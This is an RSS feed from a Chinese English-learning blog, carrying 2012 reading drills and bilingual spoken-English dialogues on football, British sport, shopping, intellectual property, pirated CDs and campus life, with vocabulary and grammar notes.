<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>教我英语 &#124; 英语学习研究</title>
	<atom:link href="http://www.95en.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.95en.com</link>
	<description>英语学习 英语博客 英语网站</description>
	<lastBuildDate>Wed, 08 Feb 2012 14:24:47 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>英语阅读集训（四十二）</title>
		<link>http://www.95en.com/2012/02/reading-training-forty/</link>
		<comments>http://www.95en.com/2012/02/reading-training-forty/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 14:24:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[英语学习]]></category>

		<guid isPermaLink="false">http://www.95en.com/?p=493</guid>
		<description><![CDATA[Day 42
Keane: England’s Footballer of the Year
基恩: 英国足球先生
Time Limit __15__ Time Used_____
Read the following questions before reading and then answer them after the reading :
1. How many titles has Manchester United won?
2. Why was Keane awarded winner of the title?
3. Who is the first player from the British Isles to win the title?
4. Who won [...]]]></description>
			<content:encoded><![CDATA[<p>Day 42<br />
Keane: England’s Footballer of the Year<br />
基恩: 英国足球先生<br />
Time Limit __15__ Time Used_____<br />
Read the following questions before reading and then answer them after the reading :<br />
1. How many titles has Manchester United won?<br />
2. Why was Keane awarded winner of the title?<br />
3. Who is the first player from the British Isles to win the title?<br />
4. Who won the title in 1996? Which club did he belong to?<br />
5. Where are the last five Footballers of the Year from?<br />
Manchester United1 captain Roy Keane was named England’s Footballer of the Year last Saturday, a<br />
week after his club won the English title2 for the sixth time in eight seasons.<br />
Keane, 28, who earns 52,000 pounds a week and is the highest paid player3 in the country, was voted<br />
winner of the title for his inspirational performances4 in leading United to the title.<br />
Keane won with 53% percent of the vote, the biggest winning margin5 in the award’s 52-year history.<br />
Keane is the first player from the British Isles to win the award since Allan Shearer6 in 1994 and is the<br />
second Manchester United player to do so in five years following Eric Cantona’s7 success in 1996.<br />
The last five Footballers of the Year have all been players from overseas.<br />
He will receive the award at the Footballer of the Year dinner in London on May 18.<br />
Notes:<br />
1. Manchester United 曼切斯特联队<br />
2. the English title 英格兰联赛冠军<br />
3. the highest paid player 薪金最高的球员<br />
4. inspirational performances 鼓舞人心的表演<br />
5. the biggest winning margin 悬殊最大的得票<br />
6. Alan Shearer 阿兰·席勒<br />
7. Eric Cantona 艾里可·坎通纳<br />
Key to the questions:<br />
1. It has won six titles in eight seasons.<br />
2. He won the title for his inspirational performance in leading United to the title.<br />
3. Allan Shearer is the first player from the British Isles to win the title.<br />
4. Cantona won the title in 1996. He belonged to Manchester United.<br />
5. They are from overseas.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.95en.com/2012/02/reading-training-forty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>英语阅读集训（四十一）</title>
		<link>http://www.95en.com/2012/02/reading-training-xli/</link>
		<comments>http://www.95en.com/2012/02/reading-training-xli/#comments</comments>
		<pubDate>Sun, 05 Feb 2012 14:18:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[英语学习]]></category>

		<guid isPermaLink="false">http://www.95en.com/?p=491</guid>
		<description><![CDATA[Day 41
Sport in Britain 英国的体育(2)
Time Limit __15__ Time Used_____
Read the following questions before reading and then answer them after the reading :
1. What is the second popular winter sport?
2. Why do many of the British take winter holidays on the Continent?
3. Give one reason why many of the British are interested in horse-racing.
4. What has [...]]]></description>
			<content:encoded><![CDATA[<p>Day 41<br />
Sport in Britain 英国的体育(2)<br />
Time Limit __15__ Time Used_____<br />
Read the following questions before reading and then answer them after the reading :<br />
1. What is the second popular winter sport?<br />
2. Why do many of the British take winter holidays on the Continent?<br />
3. Give one reason why many of the British are interested in horse-racing.<br />
4. What has become a national leisure activity?<br />
The most popular winter sport, after football1 ( or ‘soccer ’ as it is colloquially called) is rugby football<br />
( or ‘rugger ’) which remains a largely amateur game3. Winter sports such as skiing are generally<br />
impossible in Britain ( except in Scotland) owing to4 the unsuitable climate, but more and more people<br />
spend winter holidays on the Continent5 in order to take part in them.<br />
One reason for the great interest in sport in Britain is the Englishman’s fondness for a little ‘flutter ’6 ( a<br />
slang expression7 for a bet of gamble). Gambling has always been an integral part8 of such sports as<br />
horse-racing and dog-racing and, in recent times, doing the ‘football pools’9 has become a national<br />
pastime10. But whether as gambler, spectator or player, most Englishmen have some interest in at least<br />
some sports.<br />
Notes:<br />
1. after football 次于足球<br />
2. rugby football 橄榄球<br />
3. amateur game 业余赛事<br />
4. owing to 因为;由于<br />
5. the Continent 欧洲大陆<br />
6. fondness for a little ‘flutter ’喜欢赌博<br />
7. a slang expression 俚语<br />
8. an integral part 组成部分<br />
9. doing the ‘football pools’参与足球赌博<br />
10.pastime 消遣<br />
Key to the questions:<br />
1. Rugby football is the second popular winter sport.<br />
2. Because they want to take part in winter sports such as skiing.<br />
3. One reason for the great interest in sport in Britain is their fondness for a bet.<br />
4. Doing the ‘football pools’ has become a national pastime.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.95en.com/2012/02/reading-training-xli/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>95en口语教程第三十课：Love Stories</title>
		<link>http://www.95en.com/2012/02/95en-thirty-spoken-tutorial-lesson-love-stories/</link>
		<comments>http://www.95en.com/2012/02/95en-thirty-spoken-tutorial-lesson-love-stories/#comments</comments>
		<pubDate>Thu, 02 Feb 2012 14:14:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[英语学习]]></category>

		<guid isPermaLink="false">http://www.95en.com/?p=488</guid>
		<description><![CDATA[打完排球，阿美和丹尼尔在海边玩耍。爸爸妈妈坐在不远处回忆着当年的种种往事。来听听他们都说了些什么吧！ 
Mom: How time flies!
Dad: May and Danny have already grown up.
Mom: I can still remember our first date.
Dad: Look at that big tree over there.
Mom: Yeah, oh my god! It&#8217;s still there. We have our first date right on there.
Dad: Do you know that I fell in love with you at the first sight.
Mom: [...]]]></description>
			<content:encoded><![CDATA[<p>打完排球，阿美和丹尼尔在海边玩耍。爸爸妈妈坐在不远处回忆着当年的种种往事。来听听他们都说了些什么吧！ </p>
<p>Mom: How time flies!</p>
<p>Dad: May and Danny have already grown up.</p>
<p>Mom: I can still remember our first date.</p>
<p>Dad: Look at that big tree over there.</p>
<p>Mom: Yeah, oh my god! It&#8217;s still there. We have our first date right on there.</p>
<p>Dad: Do you know that I fell in love with you at the first sight.</p>
<p>Mom: You were dull at that time.</p>
<p>Dad: But you agreed to go out with me at last.</p>
<p>Mom: (smile) I can&#8217;t believe this for it&#8217;s been 20 years since we got married.</p>
<p>Dad: So do you feel happy now?</p>
<p>Mom: I couldn&#8217;t have been any happier!</p>
<p>Dad: Of course, we are the happiest family in the world.</p>
<p>妈妈：时间过得真快!</p>
<p>爸爸：阿美和丹丹都已经长大了。</p>
<p>妈妈：我仍然还记得我们的第一次约会。</p>
<p>爸爸：看那边的那颗大树。</p>
<p>妈妈：天啊！它还在那儿。我们第一次约会就是在那里。</p>
<p>爸爸：你知道吗，我对你是一见钟情。</p>
<p>妈妈：你那个时候真傻。</p>
<p>爸爸：但是你最后还是答应和我出去约会。</p>
<p>妈妈：（微笑）我们都结婚20年了，真是难以相信啊。</p>
<p>爸爸：那你现在觉得幸福吗？</p>
<p>妈妈：再幸福不过了！</p>
<p>爸爸：当然了，我们是世界上最幸福的家庭。</p>
<p>经典背诵 Recitation<br />
Mom: Benjamin and I have been married for 20 years. He is a good husband and father though he may be a little bit dull at times. But I knew this when we were dating. He is an honest man which makes up his charm. That&#8217;s why we have been a really happy family for all these years. So we are lucky to find each other, I suppose.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.95en.com/2012/02/95en-thirty-spoken-tutorial-lesson-love-stories/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>95en口语教程第二十九课：Speciality Store</title>
		<link>http://www.95en.com/2012/01/95en-spoken-tutorial-twenty-ninth-lesson-speciality-store/</link>
		<comments>http://www.95en.com/2012/01/95en-spoken-tutorial-twenty-ninth-lesson-speciality-store/#comments</comments>
		<pubDate>Mon, 30 Jan 2012 14:12:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[英语学习]]></category>

		<guid isPermaLink="false">http://www.95en.com/?p=485</guid>
		<description><![CDATA[古奇陪阿美去专卖店买衣服，有新款上架，也有过季的衣服打折，她们能买到想买的衣服吗？一起来看看吧。
May: I need some new clothes for the coming season. Where shall I go to pick up some?
Gucci: I&#8217;m thinking of buying some stuff, too. Let&#8217;s go to the speciality stores. There will be some new models for sale now.
May: Will the new models be very expensive?
Gucci: Depends on the brands. But there will be [...]]]></description>
			<content:encoded><![CDATA[<p>古奇陪阿美去专卖店买衣服，有新款上架，也有过季的衣服打折，她们能买到想买的衣服吗？一起来看看吧。</p>
<p>May: I need some new clothes for the coming season. Where shall I go to pick up some?</p>
<p>Gucci: I&#8217;m thinking of buying some stuff, too. Let&#8217;s go to the speciality stores. There will be some new models for sale now.</p>
<p>May: Will the new models be very expensive?</p>
<p>Gucci: Depends on the brands. But there will be some out-of-season clothes on discount, too. So maybe we can also get some stuff, good and cheap.</p>
<p>May: Great. Let&#8217;s go.</p>
<p>(They step into a speciality store.)</p>
<p>Gucci: Do you like this one? I think it will be great on you.</p>
<p>May: I like the style. Especially the Porsche logo. Let me try it on in the fitting room. Wait a minute!</p>
<p>Gucci: Take your time.</p>
<p>(May stands in front of the mirror, wearing the new dress.)</p>
<p>Gucci: Hmm, not bad, but I&#8217;m afraid it&#8217;s a bit too big for you.</p>
<p>May: Yeah, that&#8217;s the only problem. Well, do you think they&#8217;ve got a smaller one?</p>
<p>Gucci: Probably not. Most of the clothes here have only one average size.</p>
<p>May: Never mind. What about going to check out the discount section?</p>
<p>Gucci: That&#8217;s what I&#8217;m thinking about.</p>
<p>(They come to the discount section.)</p>
<p>Gucci: Oh, this one.</p>
<p>May: What&#8217;s up?</p>
<p>Gucci: This dress was a new model this time last year. I loved it but it was a bit too expensive. So I gave it up.</p>
<p>May: Good for you. It&#8217;s 50% off now. Take it!</p>
<p>Gucci: Sure. I won&#8217;t miss this chance. It&#8217;s my lucky day.</p>
<p>阿美: 我需要为下个季节买一些新衣服。我该去哪里买呢？</p>
<p>古奇: 我也在考虑买一些衣服呢。我们去专卖店吧。现在那里该有新款上市了。</p>
<p>阿美: 新款会不会很贵啊？</p>
<p>古奇: 看牌子的。但也会有一些过季的衣服打折。也许我们能淘到一些又好又便宜的东西呢。</p>
<p>阿美: 真好。我们走吧。</p>
<p>（她们走进了一家专卖店。）</p>
<p>古奇: 你喜欢这件吗？我觉得你穿上它一定很好看。</p>
<p>阿美: 我喜欢它的款式。尤其是那个保时捷的商标。我去试衣间试穿看看。等我一下。</p>
<p>古奇: 你慢慢来，不着急。</p>
<p>（阿美穿着新衣服站在镜子前。）</p>
<p>古奇: 嗯，还不错，但是我怕你穿有点太肥了。</p>
<p>阿美: 就是，这是唯一的问题。不过，你说他们会有小一点的吗？</p>
<p>古奇: 恐怕没有。这里大部分的衣服都是均码的。</p>
<p>阿美: 没关系。要不我们去打折区看看。</p>
<p>古奇: 我也正想这事呢。</p>
<p>（她们来到了打折区。）</p>
<p>古奇: 哦，这件衣服！</p>
<p>阿美: 怎么了？</p>
<p>古奇: 这件女装去年的这个时候是新款。我特别喜欢，可是当时好贵，所以我没有买它。</p>
<p>阿美: 真为你高兴啊。现在它打五折呢。买了吧！</p>
<p>古奇: 当然。我可不能再错过这个机会了。今天是我的幸运日哦。</p>
<p>经典背诵 Recitation<br />
May: Gucci and I always go shopping for clothes together. Usually, we go to some speciality stores. Though the new models may be really expensive, there are always some out-of-season clothes on discount. Today, we went to a speciality store. I found something I like, but unluckily, there was no right size for me. At the discount section, Gucci found a dress perfect for her. What a lucky girl!</p>
<p>生词小结<br />
speciality n. 专门</p>
<p>logo n. 商标</p>
<p>fitting n. 试衣</p>
<p>词汇扩展 Vocabulary Builder<br />
关于世界名车的词汇</p>
<p>基础词汇</p>
<p>Audi 奥迪</p>
<p>Benz 奔驰</p>
<p>BMW 宝马</p>
<p>Buick 别克</p>
<p>Ferrari 法拉利</p>
<p>Ford 福特</p>
<p>Porsche 保时捷</p>
<p>Toyota 丰田</p>
<p>提高词汇</p>
<p>Cadillac 凯迪拉克</p>
<p>Chevrolet 雪弗龙</p>
<p>Citroen 雪铁龙</p>
<p>Hyundai 现代</p>
<p>Lincoln 林肯</p>
<p>Morgan 摩根</p>
<p>Renault 雷诺</p>
<p>Roll-Royce 劳斯莱斯</p>
]]></content:encoded>
			<wfw:commentRss>http://www.95en.com/2012/01/95en-spoken-tutorial-twenty-ninth-lesson-speciality-store/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>95en口语教程第二十八课：Intellectual Property in China</title>
		<link>http://www.95en.com/2012/01/95en-spoken-twenty-eighth-lesson-tutorial-intellectual-property-in-china/</link>
		<comments>http://www.95en.com/2012/01/95en-spoken-twenty-eighth-lesson-tutorial-intellectual-property-in-china/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 14:10:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[英语学习]]></category>

		<guid isPermaLink="false">http://www.95en.com/?p=483</guid>
		<description><![CDATA[随着中国一步步地融入世界经济之中，在中国，知识产权的价值问题开始逐渐升温。
The value of intellectual property has become a rising issue within China, as it seeks to further integrate itself into the world economy. The effects of producing illegal, copyrighted goods are still being studied. One effect is that artists may no longer produce top quality products if they know that many will only copy their [...]]]></description>
			<content:encoded><![CDATA[<p>随着中国一步步地融入世界经济之中，在中国，知识产权的价值问题开始逐渐升温。</p>
<p>The value of intellectual property has become a rising issue within China, as it seeks to further integrate itself into the world economy. The effects of producing illegal, copyrighted goods are still being studied. One effect is that artists may no longer produce top quality products if they know that many will only copy their work. This can be seen with the lawsuits against illegal downloading in the United States. These lawsuits and the threat of lawsuits by the music and movie industries are being made to keep people from breaking the law. With the level of international communication and transportation that exists today, copyright problems have become global. Yet, in the future, the relationship between industries and government will be more organized, and this may deter many copiers from breaking the rules. The effect on the industries that are being copied has also been substantial. Several industries have chosen to view this problem as a wake-up call. They are starting to rethink the emphasis placed only on profits. Many companies are beginning to offer more customer-driven prices and choices. For example, in some foreign countries, you can purchase songs on the Internet instead of buying a music CD. The prices of software and other materials are beginning to lower. China, as it joins the World Trade Organization (WTO), will no doubt begin to enact more penalties against copyright infringers as was seen in the United States. This will strengthen Chinese brands as they become more global.</p>
<p>随着中国一步步地融入世界经济之中，在中国，知识产权的价值问题开始逐渐升温。生产非法盗版商品所带来的影响仍在被探究。影响之一就是，艺术家如果知道很多人会复制他们的作品，就可能不再创作高水准的作品。美国反对非法下载的诉讼案就是一个很好的例子。音乐和电影工业发起的这些诉讼案件以及诉讼案件引起的震慑作用使得人们不敢再去触犯法律。随着当今国际交流和交通水平的发展，版权问题已经成为全球化的问题。在将来，各行业与政府的关系将会变得更有组织性，这会阻碍一些复制者触犯法律。这对于那些存在非法复制现象的产业的影响也是巨大的。几个产业选择把这一问题看成是一个警钟。他们开始重新思考是否应该把重心仅仅放在盈利上面。很多公司已经开始提供以顾客为导向的价格和产品选择。例如，在国外有些国家，你可以在网上购买歌曲而不用音乐光盘。软件和其他资源的价格开始在下降。随着中国加入WTO，中国无疑会开始颁布更多针对非法下载的处罚条例，正如美国一样。这将推动中国品牌能更好地走向全球。</p>
<p>Grammar 语法小结<br />
限制性定语从句</p>
<p>限制性定语从句由关系副词when, where, why引导，这一章我们来学习关系副词引导的定语从句。</p>
<p>1．when 引导的定语从句</p>
<p>At the time when I saw him, he was very young.</p>
<p>当初我见到他的时候，他还很年轻。</p>
<p>I still remember the happy time when I lived in the small town.</p>
<p>我还记得我住在小镇上时的欢乐时光。</p>
<p>2. where 引导的定语从句</p>
<p>This is the village where I was born. 这是我出生的村子。</p>
<p>You&#8217;d better live in the palace where you can see the sea.</p>
<p>你最好住在能看到海的地方。</p>
<p>3．why 引导的定语从句</p>
<p>This is the reason why I hate him. 这是我恨他的原因。</p>
<p>I don&#8217;t know the reason why he quarreled with his wife.</p>
<p>我不知道他和妻子吵架的原因。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.95en.com/2012/01/95en-spoken-twenty-eighth-lesson-tutorial-intellectual-property-in-china/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>95en口语教程第二十七课：Pirate Copies</title>
		<link>http://www.95en.com/2012/01/95en-spoken-tutorial-twenty-seventh-lesson-pirate-copies/</link>
		<comments>http://www.95en.com/2012/01/95en-spoken-tutorial-twenty-seventh-lesson-pirate-copies/#comments</comments>
		<pubDate>Tue, 24 Jan 2012 14:15:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[英语学习]]></category>

		<guid isPermaLink="false">http://www.95en.com/?p=482</guid>
		<description><![CDATA[古奇买了一张著名摇滚乐队“枪花”的盗版碟，价格很便宜，可是结果好像并没有想象的那么好，究竟是怎么回事呢？
Gucci: I bought this CD of Guns and Roses from a vendor at the subway exit.
May: From a vendor? Then, it must be a pirate copy.
Gucci: It doesn&#8217;t matter. It cost me only 5 Yuan. Very cheap!
May: Honey, it&#8217;s still too early to be cheerful. Test the sound quality on your CD player first.
Gucci: Sure. [...]]]></description>
			<content:encoded><![CDATA[<p>古奇买了一张著名摇滚乐队“枪花”的盗版碟，价格很便宜，可是结果好像并没有想象的那么好，究竟是怎么回事呢？</p>
<p>Gucci: I bought this CD of Guns and Roses from a vendor at the subway exit.</p>
<p>May: From a vendor? Then, it must be a pirate copy.</p>
<p>Gucci: It doesn&#8217;t matter. It cost me only 5 Yuan. Very cheap!</p>
<p>May: Honey, it&#8217;s still too early to be cheerful. Test the sound quality on your CD player first.</p>
<p>Gucci: Sure. Oh, no!</p>
<p>May: What&#8217;s the matter? Anything wrong?</p>
<p>Gucci: It&#8217;s not Guns and Roses. Not even music!</p>
<p>May: Sorry. But it happens all the time. You know, it&#8217;s a pirate copy.</p>
<p>Gucci: Yeah. I think the vendor is still there. May I return it to get my money back?</p>
<p>May: Don&#8217;t even try. You can&#8217;t get that done. Just don&#8217;t buy any pirate copies any more in the future.</p>
<p>Gucci: Of course not. I feel cheated and it&#8217;s not so funny.</p>
<p>May: I understand it, honey. I had the same experience before. You know, it takes risks when you buy this illegal cheap stuff. Just forget about it and cheer up.</p>
<p>Gucci: You are right. Anyway, I&#8217;d like to get some CDs of Guns and Roses. Will you go with me?</p>
<p>May: Sure. I&#8217;d like to get some stuff for myself, too. What&#8217;s more, I&#8217;ve got a membership card here. With it, we can get a really good price.</p>
<p>Gucci: Really? Then let&#8217;s go and get some legal copies this time!</p>
<p>May: Great. Here we go.</p>
<p>古奇: 我在地铁出口的一个小贩那里买了这张“枪花”乐队的唱片。</p>
<p>阿美: 从一个小贩那里？那么，这一定是一张盗版碟了。</p>
<p>古奇: 这没有关系啊。这只花了我5块钱。非常便宜！</p>
<p>阿美: 亲爱的，别高兴得太早了。先在你的CD机上试试音效吧。</p>
<p>古奇: 好的。哦，糟糕！</p>
<p>阿美: 怎么了？有什么不对吗？</p>
<p>古奇: 这不是“枪花”。连音乐也不是！</p>
<p>阿美: 真遗憾。不过经常是这样的。你知道，它是盗版嘛。</p>
<p>古奇: 没错。我想那个小贩应该还在那里。我可以去找他退钱吗？</p>
<p>阿美: 你试都不用试的。那是行不通的。以后别再买盗版碟就是了。</p>
<p>古奇: 当然不会了。我感到被骗了，感觉真不好。</p>
<p>阿美: 亲爱的，我明白的。我以前也有过同样的经历。你知道，买这种非法的便宜货本来就有风险。别再想它了，高兴一点啦。</p>
<p>古奇: 你说得对。不过，我还是想买“枪花”的唱片。你陪我一起去好吗？</p>
<p>阿美: 没问题。我也想买一些。而且，我有一张会员卡。我们可以用它有很优惠的价格。</p>
<p>古奇: 是吗？那我们走吧，这次要买几张正版唱片！</p>
<p>阿美: 好啊。我们走吧。</p>
<p>经典背诵 Recitation<br />
Gucci: I bought a pirate CD of Guns and Roses from a vendor at the subway exit today. It was very cheap but it didn&#8217;t work at all. My best friend May told me that she used to have the same experience as mine. And there was no hope to return it to the vendor to get my money back. I felt cheated, so I made up my mind that I would never buy any illegal cheap stuff any more.</p>
<p>生词小结<br />
pirate n. 盗版</p>
<p>cheerful adj. 高兴的</p>
<p>注释<br />
Guns and Roses 枪花，著名的摇滚乐队</p>
]]></content:encoded>
			<wfw:commentRss>http://www.95en.com/2012/01/95en-spoken-tutorial-twenty-seventh-lesson-pirate-copies/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>95en口语教程第二十六课：Homecoming Scene</title>
		<link>http://www.95en.com/2012/01/95en-spoken-tutorial-twenty-sixth-class-homecoming-scene/</link>
		<comments>http://www.95en.com/2012/01/95en-spoken-tutorial-twenty-sixth-class-homecoming-scene/#comments</comments>
		<pubDate>Sat, 21 Jan 2012 14:08:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[英语学习]]></category>

		<guid isPermaLink="false">http://www.95en.com/?p=480</guid>
		<description><![CDATA[相隔多年的同学再一次相聚在校园里，昔日的情侣变成了老夫妻。这些景象对于年轻的阿美和她的室友来说意味着什么呢？来看看吧。
Roommate: Why are there so many people in the hall today? I bet even the youngest of them gotta be over 60.
May: They are schoolmates of our university. There is a reunion of our university.
Roommate: Look, May, the man in grey suit looks like the mayor of our city.
May: That&#8217;s him. He graduated from our [...]]]></description>
			<content:encoded><![CDATA[<p>相隔多年的同学再一次相聚在校园里，昔日的情侣变成了老夫妻。这些景象对于年轻的阿美和她的室友来说意味着什么呢？来看看吧。</p>
<p>Roommate: Why are there so many people in the hall today? I bet even the youngest of them gotta be over 60.</p>
<p>May: They are schoolmates of our university. There is a reunion of our university.</p>
<p>Roommate: Look, May, the man in grey suit looks like the mayor of our city.</p>
<p>May: That&#8217;s him. He graduated from our university. And there are also other important people here: scientists, researchers, engineers, managers, etc.</p>
<p>Roommate: Really? I hear that the statue besides our school gate is donated by them.</p>
<p>May: Yes, I know that. They have given lots of money to our university.</p>
<p>Roommate: Why?</p>
<p>May: They graduated from this university and have become very successful people. And they feel very grateful to their university.</p>
<p>Roommate: I feel more grateful to my teachers than to my school.</p>
<p>May: You are lucky to have good teachers in a good school.</p>
<p>Roommate: Year, maybe I would come back with my boyfriend to this school when we are old. After all, it&#8217;s the place where we first met each other.</p>
<p>May: Look at those three couples; they must have been classmates in our university.</p>
<p>Roommate: How do you know that?</p>
<p>May: Because they come back together and only the graduates of this university are invited.</p>
<p>Roommate: You are right. But what are we here for?</p>
<p>May: We will serve them tea and snacks. Come on, we must work now.</p>
<p>室友: 为什么今天大厅里会有这么多人？我打赌即便这里最年轻的人也有60岁了。</p>
<p>阿美: 他们是我们的校友。我们学校有个聚会。</p>
<p>室友: 快看，阿美。那位穿黑色西服的人看起来好像我们的市长。</p>
<p>阿美: 就是他。他是从我们学校毕业的。这儿还有很多重要的人士：科学家、研究学者、工程师、经理等等。</p>
<p>室友: 真的吗？我听说我们学校校门旁边的雕像是他们捐赠的。</p>
<p>阿美: 是的，我知道。他们还给我们学校捐了不少钱。</p>
<p>室友: 为什么？</p>
<p>阿美: 他们是从这个学校毕业，并且成了成功人士。他们对学校应该是心存感激吧。</p>
<p>室友: 相对于学校，我更感谢我的老师。</p>
<p>阿美: 在好的学校又有好的老师，真幸运。</p>
<p>室友: 是啊，也许当我跟我男朋友老的时候可以回学校来看看。毕竟这是我们第一次见面的地方。</p>
<p>阿美: 看那三对夫妇，在上学的时候，他们肯定是同班同学。</p>
<p>室友: 你怎么知道的？</p>
<p>阿美: 因为他们是一起来的，只有我们学校的毕业生才会被邀请。</p>
<p>室友: 那倒是。我们到这来干什么？</p>
<p>阿美: 我们帮他们倒茶，准备小吃啊。快点，我们得赶快。</p>
<p>经典背诵 Recitation<br />
May: There is a reunion at our university, and many of my schoolmates over 60 attended. After graduating from our school, they are very successful. They donated a lot of money to our school to show their appreciation. The statue beside our school gate was also funded by them.</p>
<p>生词小结<br />
schoolmate n.校友</p>
<p>reunion n. 聚会</p>
<p>donate vt. 捐赠</p>
<p>grateful adj. 感激的</p>
<p>Functional structure 功能性句型扩展<br />
表示担心的句型</p>
<p>请跟读以下句型，家长和孩子交替进行</p>
<p>…be worried about… ……担心……</p>
<p>…be concerned for/ that… ……担心……</p>
<p>…go(es) in fear of… ……担心……</p>
<p>…fear(s) to do… ……不敢……</p>
]]></content:encoded>
			<wfw:commentRss>http://www.95en.com/2012/01/95en-spoken-tutorial-twenty-sixth-class-homecoming-scene/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>95en口语教程第二十五课：College Association</title>
		<link>http://www.95en.com/2012/01/95en-twenty-fifth-lesson-tutorial-spoken-college-association/</link>
		<comments>http://www.95en.com/2012/01/95en-twenty-fifth-lesson-tutorial-spoken-college-association/#comments</comments>
		<pubDate>Wed, 18 Jan 2012 14:05:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[英语学习]]></category>

		<guid isPermaLink="false">http://www.95en.com/?p=478</guid>
		<description><![CDATA[阿美的室友刚刚退出学生会，阿美就鼓励她参加奥运志愿者协会。阿美的室友同意了吗？她是不是还有什么别的选择呢？
May: Would you like to join the Olympic Volunteers&#8217; League?
Roommate: Am I crazy？I just quitted the Students&#8217; Counsel. I don&#8217;t want to be as busy as before. I&#8217;ve given up a big chance of getting scholarships for that.
May: No, joining the Olympic Volunteers&#8217; League won&#8217;t take you much time. It only has activities on the [...]]]></description>
			<content:encoded><![CDATA[<p>阿美的室友刚刚退出学生会，阿美就鼓励她参加奥运志愿者协会。阿美的室友同意了吗？她是不是还有什么别的选择呢？</p>
<p>May: Would you like to join the Olympic Volunteers&#8217; League?</p>
<p>Roommate: Am I crazy？I just quitted the Students&#8217; Counsel. I don&#8217;t want to be as busy as before. I&#8217;ve given up a big chance of getting scholarships for that.</p>
<p>May: No, joining the Olympic Volunteers&#8217; League won&#8217;t take you much time. It only has activities on the weekends.</p>
<p>Roommate: Really? That&#8217;s good. I was just wondering about how to spend my free time on weekends.</p>
<p>May: Come on, you won&#8217;t regret about joining Olympic Volunteers&#8217; League. It&#8217;s different from other student clubs or unions.</p>
<p>Roommate: What&#8217;s the difference?</p>
<p>May: We can do something for the upcoming Olympics in Beijing. Isn&#8217;t that special?</p>
<p>Roommate: Not really. I&#8217;d rather join the Entrepreneurs&#8217; Club, so my experience will be helpful, when I look for jobs in the future.</p>
<p>May: That&#8217;s also a good choice. But the Entrepreneurs&#8217; Club just hold some boring activities, you know, speeches, competitions…</p>
<p>Roommate: But you can learn a lot of things from the activities and it&#8217;s related to our major.</p>
<p>May: You can also learn a lot in Olympic Volunteers&#8217; League. You will have the chance to learn how to communicate, how to arrange an activity and how to cooperate with your group members.</p>
<p>Roommate: What activities does Olympic Volunteers&#8217; League have?</p>
<p>May: We will be voluntary guides, translators in Olympic Park and other nearby places.</p>
<p>Roommate: Does the mean I have lots of chances to practice my English?</p>
<p>May: You can say that again?</p>
<p>Roommate: OK, May, you win. Just tell me how to get enrolled for that club.</p>
<p>阿美: 你愿意参加奥运志愿者协会吗？</p>
<p>室友: 我疯了？我刚刚退出学生会。我不想像以前那么忙，我放弃了获得奖学金的大好机会。</p>
<p>阿美: 不是的，参加奥运志愿者协会不会占用你太多时间的。它只是在周末有活动。</p>
<p>室友: 真的吗？太好了，我正在想怎么打发我的周末时间呢？</p>
<p>阿美: 来吧，参加奥运志愿者协会你不会后悔的。它跟其他的学生组织和团体不一样。</p>
<p>室友: 有什么区别吗？</p>
<p>阿美: 我们可以为即将到来的奥运会做一些事情，这很特别，不是吗？</p>
<p>室友: 也不全是，我想参加企业协会，这样学到的经验对我将来找工作很有用。</p>
<p>阿美: 也是一个不错的选择。但是你知道企业协会会举办一些比较枯燥的活动，如演讲、比赛等等。</p>
<p>室友: 但是你可以从中学到跟专业相关的知识呀。</p>
<p>阿美: 你在奥运志愿者协会也可以学到很多东西。你有机会学会怎样交流，怎样组织安排活动，怎样和队员们合作。</p>
<p>室友: 奥运志愿者协会有什么样的活动呢？</p>
<p>阿美: 我们在奥运公园和其他附近的地方做志愿引导员和翻译人员。</p>
<p>室友: 那就意味着我有很多机会锻炼我的英语了？</p>
<p>阿美: 可以这样说。</p>
<p>室友: 好的，阿美，你赢了。告诉我如何参加那个协会。</p>
<p>经典背诵 Recitation<br />
Roommate: I quit my job in student council. I don&#8217;t want to be as busy as before, but May asked me to join the Olympic Volunteers League. It sounds crazy, but maybe she&#8217;s right. At least, we will be doing something for the upcoming Olympic Games.</p>
<p>生词小结<br />
league n. 联合会</p>
<p>wonder vi. 想要知道</p>
<p>entrepreneur n. 企业家</p>
<p>communicate vi. 交流</p>
<p>enroll vi. 注册</p>
<p>Material 语素<br />
Fraternity</p>
<p>In broad sense, fraternity is a body of people associated for a common purpose or interest, or joined by similar backgrounds, occupations, or tastes. In narrow sense, it is a chiefly social organization of men students at a college or university, usually designated by Greek letters.</p>
<p>兄弟会</p>
